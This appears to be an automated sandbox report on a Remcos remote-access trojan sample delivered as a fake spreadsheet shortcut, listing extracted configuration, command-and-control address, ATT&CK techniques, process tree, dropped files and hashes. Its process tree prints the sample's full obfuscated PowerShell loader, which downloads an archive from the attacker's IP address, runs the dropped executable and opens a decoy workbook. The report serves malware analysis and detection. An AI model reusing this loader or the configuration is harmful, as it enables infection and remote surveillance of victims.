remcos | 0973bf4ab963c2de6c69c3809ed228f0caf00409f4c09e78029640f2026dc19e

Analysis

max time kernel
148s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
31-08-2024 01:02

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General

Target

rv_luti_2024_roku.xlsx.lnk
Size

32KB
MD5

0ea3d54cecf6ea4d5e6739ffe9ce4be4
SHA1

513dca9cb690972319181c4f31ac98dcd80ea895
SHA256

ddd94d9d25f4ee02343b209e6d345457ef0b3efebccfd9a16b721e1c59a6cb03
SHA512

33826667e53d5cdb60ccfeb84a309059e20ce5da79d7dde853578fcea99b44d2a92debe4d6da65f463223b48d1b9f510bb0c9c3b26e7fb0b2a5199eb6ead45d2
SSDEEP

48:88muavUQSSesYOhI3YMEDo/i1xCoXEEDDo/L8A7NZdCZFXuGdZTa7x:88y8EesYeI3hX+xCRZR4uKQ

Score

10^/10

remcos feetfuck discovery rat

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

83.222.191.201:24251

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XTJ1YO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2356	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
4444	Newfts.exe
1020	Newfts.exe

Loads dropped DLL 8 IoCs

pid	Process
4444	Newfts.exe
4444	Newfts.exe
4444	Newfts.exe
4444	Newfts.exe
1020	Newfts.exe
1020	Newfts.exe
1020	Newfts.exe
1020	Newfts.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1020 set thread context of 1564	1020	Newfts.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
860	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2356	powershell.exe
2356	powershell.exe
4444	Newfts.exe
1020	Newfts.exe
1020	Newfts.exe
1564	cmd.exe
1564	cmd.exe
1564	cmd.exe
1564	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1020	Newfts.exe
1564	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE
860	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 2356	3428	cmd.exe	86
PID 3428 wrote to memory of 2356	3428	cmd.exe	86
PID 2356 wrote to memory of 4444	2356	powershell.exe	94
PID 2356 wrote to memory of 4444	2356	powershell.exe	94
PID 2356 wrote to memory of 4444	2356	powershell.exe	94
PID 2356 wrote to memory of 860	2356	powershell.exe	96
PID 2356 wrote to memory of 860	2356	powershell.exe	96
PID 2356 wrote to memory of 860	2356	powershell.exe	96
PID 4444 wrote to memory of 1020	4444	Newfts.exe	97
PID 4444 wrote to memory of 1020	4444	Newfts.exe	97
PID 4444 wrote to memory of 1020	4444	Newfts.exe	97
PID 1020 wrote to memory of 1564	1020	Newfts.exe	98
PID 1020 wrote to memory of 1564	1020	Newfts.exe	98
PID 1020 wrote to memory of 1564	1020	Newfts.exe	98
PID 860 wrote to memory of 4328	860	EXCEL.EXE	102
PID 860 wrote to memory of 4328	860	EXCEL.EXE	102
PID 1020 wrote to memory of 1564	1020	Newfts.exe	98
PID 1564 wrote to memory of 1796	1564	cmd.exe	110
PID 1564 wrote to memory of 1796	1564	cmd.exe	110
PID 1564 wrote to memory of 1796	1564	cmd.exe	110
PID 1564 wrote to memory of 1796	1564	cmd.exe	110
PID 1564 wrote to memory of 1796	1564	cmd.exe	110

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\rv_luti_2024_roku.xlsx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo TeuldrVGQbKMoxomeUoWOqhwvLOxvRa; echo kHymKfRwuZXnxCZJgAfmykUgOsaYlqvqidzuAVdr; echo BzhKUakeDaTwVhpLOdFPPdFVoZgkSjggfDEAGyfrfJLDRccpyaIWIA; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo kUBgvnjkEnVVtBTakWaQxmlPinKUrVTnqYKyBiuNzxKhEEivsinzTrJtp; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo KXIRBZFhgPOZEKacAcLhfiuehKFFEsRDolDsCVbHJSxXKtveGjGXJJi; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/rv_luti_2024_roku.xlsx -OutFile rv_luti_2024_roku.xlsx; echo QnvQaCnoZGPZHtQIYplmH; s''t''a''rt rv_luti_2024_roku.xlsx
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:1020
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1796
- - C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      4⤵
      PID:4328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\84954d0d

Filesize
1.2MB

MD5
46e2754279fe03d409f12d68ea2a3d34

SHA1
82cfe7aa7b727454d1449f04052ff97c859e9511

SHA256
555381acf9332e1b750611e914126d46b0a70119fe88a0846eaf30aff9b3bc9d

SHA512
2c2b94af47f339bf97dddffff4bb3260d1bb26e8342ae8b0b1614e6f1f0b5fa18e4cdf4f823e95be80d72f76dc54c4683960156127ad477ddccb65bb99809c70

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yatqokn3.hni.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
413B

MD5
5c43e621b02c26c55fea9f16d9a38083

SHA1
ac5b997eaa48540cfa8563b121c94308a1222143

SHA256
abd8a46e3499afc53c06a14af757e4f032cbcad889525360cccde5d52d3b2d19

SHA512
075be0309d0cc27da9388625bc49973a6409e758ea95cde9eb575c2474cc958dfd90aefa9ae6f95f52e28f0bfd55be7f0e577227d76b9da36453cf6cc27c7720

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
ac223ad93fa34c61caf91113c0d34c05

SHA1
835f0ecddf4b5938e023910edef47522bca6b522

SHA256
65d4d638ba0a0208f428d9f32ea610f85bc403f6c973f059205f65371fd23bd9

SHA512
fcdeb1c04f5d33069e3cf052eab2d3c096dc87d89929e02a68f7b90352f3f4b5990c3bcb8af1d91d42d7b047eb59441ca7b09edf5b58d0df5ae60b8facda3bf4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
e0d04ff836fa40abdaef48298a7ab05d

SHA1
f2161cbcf9e27d189e6814f526bdeee659060014

SHA256
26cdf173971134d45f91136083c847f9c8587af17b47c28fd2eec333d6b8d09f

SHA512
7f51fc53d55dffad8bb9688cb1929f4d687589336711c7635fa3584d694ac25990d3a1d6c1e49bd9170ef0de31094f302df99068b6a50365ccabc293d03e24db

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

Filesize
2.1MB

MD5
db7e67835fce6cf9889f0f68ca9c29a9

SHA1
5565afda37006a66f0e4546105be60bbe7970616

SHA256
dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

SHA512
bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

Filesize
1.1MB

MD5
59c15c71fd599ff745a862d0b8932919

SHA1
8384f88b4cac4694cf510ca0d3f867fd83cc9e18

SHA256
c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

SHA512
be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

Filesize
31KB

MD5
5dc69a3e2fda6cb740f363ef77edcc13

SHA1
c177fabf17346531e07d562be11915bf2822148a

SHA256
7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

SHA512
b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

Download Submit
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\RegisterIdr.dll

Filesize
1.4MB

MD5
6fdb2e9ca6b7a5ad510e2b29831e3bc8

SHA1
4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

SHA256
f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

SHA512
d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

Download Submit
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\nywrof

Filesize
1.0MB

MD5
471076308d78944d45ab35d37134134a

SHA1
05cf2cf6e5d11ce10425b14d68cda3246cc47263

SHA256
38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

SHA512
7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

Download Submit
C:\Users\Admin\AppData\Roaming\rv_luti_2024_roku.xlsx

Filesize
32KB

MD5
21046015d5d9ef5e536ac7643b1ab365

SHA1
f3bcd22d8e9b5ad1c2e17b42d5684421b2ddfb05

SHA256
7a94cedcc9624dbe8eb4ad818fbaf2a53f9ca0fe2ff28b3000a597e034b520bd

SHA512
d63030de97a378e9bb73ce53f589c75f1da9e6fb3998da02680a9396b75ebf6773119d61e5663c007379c85413a8d023e1df2323038314d357ac64bd770b9c9e

Download Submit
memory/860-74-0x00007FFAB15E0000-0x00007FFAB15F0000-memory.dmp

Filesize
64KB

Download
memory/860-61-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-62-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-164-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-165-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-166-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-163-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-59-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-57-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-58-0x00007FFAB3C90000-0x00007FFAB3CA0000-memory.dmp

Filesize
64KB

Download
memory/860-86-0x00007FFAB15E0000-0x00007FFAB15F0000-memory.dmp

Filesize
64KB

Download
memory/1020-87-0x00007FFAF3C10000-0x00007FFAF3E05000-memory.dmp

Filesize
2.0MB

Download
memory/1020-78-0x0000000002A60000-0x0000000002B7E000-memory.dmp

Filesize
1.1MB

Download
memory/1020-108-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

Download
memory/1020-109-0x0000000002A60000-0x0000000002B7E000-memory.dmp

Filesize
1.1MB

Download
memory/1020-110-0x0000000002E70000-0x0000000002FE2000-memory.dmp

Filesize
1.4MB

Download
memory/1020-82-0x0000000002E70000-0x0000000002FE2000-memory.dmp

Filesize
1.4MB

Download
memory/1020-111-0x0000000074790000-0x000000007490B000-memory.dmp

Filesize
1.5MB

Download
memory/1020-85-0x0000000074790000-0x000000007490B000-memory.dmp

Filesize
1.5MB

Download
memory/1564-137-0x0000000074790000-0x000000007490B000-memory.dmp

Filesize
1.5MB

Download
memory/1564-135-0x00007FFAF3C10000-0x00007FFAF3E05000-memory.dmp

Filesize
2.0MB

Download
memory/1796-147-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-141-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-139-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-150-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-149-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-148-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/1796-142-0x0000000000A00000-0x0000000000A83000-memory.dmp

Filesize
524KB

Download
memory/2356-17-0x0000021750FA0000-0x0000021750FB2000-memory.dmp

Filesize
72KB

Download
memory/2356-3-0x000002174EA30000-0x000002174EA52000-memory.dmp

Filesize
136KB

Download
memory/2356-56-0x00007FFAD5420000-0x00007FFAD5EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2356-2-0x00007FFAD5423000-0x00007FFAD5425000-memory.dmp

Filesize
8KB

Download
memory/2356-18-0x0000021750F80000-0x0000021750F8A000-memory.dmp

Filesize
40KB

Download
memory/2356-13-0x00007FFAD5420000-0x00007FFAD5EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2356-16-0x00007FFAD5420000-0x00007FFAD5EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2356-14-0x00007FFAD5420000-0x00007FFAD5EE1000-memory.dmp

Filesize
10.8MB

Download
memory/4444-55-0x0000000074740000-0x00000000748BB000-memory.dmp

Filesize
1.5MB

Download
memory/4444-72-0x0000000002D00000-0x0000000002E1E000-memory.dmp

Filesize
1.1MB

Download
memory/4444-60-0x00007FFAF3C10000-0x00007FFAF3E05000-memory.dmp

Filesize
2.0MB

Download
memory/4444-43-0x0000000002D00000-0x0000000002E1E000-memory.dmp

Filesize
1.1MB

Download
memory/4444-71-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

Download
memory/4444-73-0x0000000003060000-0x00000000031D2000-memory.dmp

Filesize
1.4MB

Download
memory/4444-48-0x0000000003060000-0x00000000031D2000-memory.dmp

Filesize
1.4MB

Download